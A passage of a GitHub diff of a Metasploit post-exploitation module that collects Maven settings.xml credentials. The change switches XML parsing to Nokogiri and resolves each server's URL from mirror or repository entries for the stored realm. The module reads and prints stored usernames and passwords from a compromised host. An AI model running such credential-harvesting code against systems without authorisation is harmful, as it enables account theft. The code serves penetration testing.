|
4 | 4 | # Current source: https://github.com/rapid7/metasploit-framework
|
5 | 5 | ##
|
6 | 6 |
|
7 |
| -require 'rexml/document' |
| 7 | +require 'nokogiri' |
8 | 8 |
|
9 | 9 | class MetasploitModule < Msf::Post
|
10 | 10 | include Msf::Post::File
|
@@ -82,25 +82,46 @@ def download_loot(files)
|
82 | 82 | end
|
83 | 83 |
|
84 | 84 | def parse_settings(target, data)
|
85 |
| - doc = REXML::Document.new(data).root |
| 85 | + xml_doc = Nokogiri::XML(data) |
| 86 | + xml_doc.remove_namespaces! |
86 | 87 |
|
87 |
| - doc.elements.each("servers/server") do |sub| |
88 |
| - id = sub.elements['id'].text rescue "<unknown>" |
89 |
| - username = sub.elements['username'].text rescue "<unknown>" |
90 |
| - password = sub.elements['password'].text rescue "<unknown>" |
| 88 | + xml_doc.xpath("//server").each do |server| |
| 89 | + id = server.xpath("id").text |
| 90 | + username = server.xpath("username").text |
| 91 | + password = server.xpath("password").text |
91 | 92 |
|
92 | 93 | print_status("Collected the following credentials:")
|
93 | 94 | print_status(" Id: %s" % id)
|
94 | 95 | print_status(" Username: %s" % username)
|
95 | 96 | print_status(" Password: %s" % password)
|
| 97 | + |
| 98 | + print_status("Try to find url from id...") |
| 99 | + realm = "" |
| 100 | + xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror| |
| 101 | + realm = mirror.xpath("url").text |
| 102 | + print_status("Found url in mirror : #{realm}") |
| 103 | + end |
| 104 | + |
| 105 | + if realm.blank? |
| 106 | + xml_doc.xpath("//repository[id = '#{id}']").each do |repository| |
| 107 | + realm = repository.xpath("url").text |
| 108 | + print_status("Found url in repository : #{realm}") |
| 109 | + end |
| 110 | + end |
| 111 | + |
| 112 | + if realm.blank? |
| 113 | + print_status("No url found, id will be set as realm") |
| 114 | + realm = id |
| 115 | + end |
| 116 | + |
96 | 117 | print_line("")
|
97 | 118 |
|
98 | 119 | credential_data = {
|
99 | 120 | origin_type: :import,
|
100 | 121 | module_fullname: self.fullname,
|
101 | 122 | filename: target,
|
102 | 123 | service_name: 'maven',
|
103 |
| - realm_value: id, |
| 124 | + realm_value: realm, |
104 | 125 | realm_key: Metasploit::Model::Realm::Key::WILDCARD,
|
105 | 126 | private_type: :password,
|
106 | 127 | private_data: password,
|
|
0 commit comments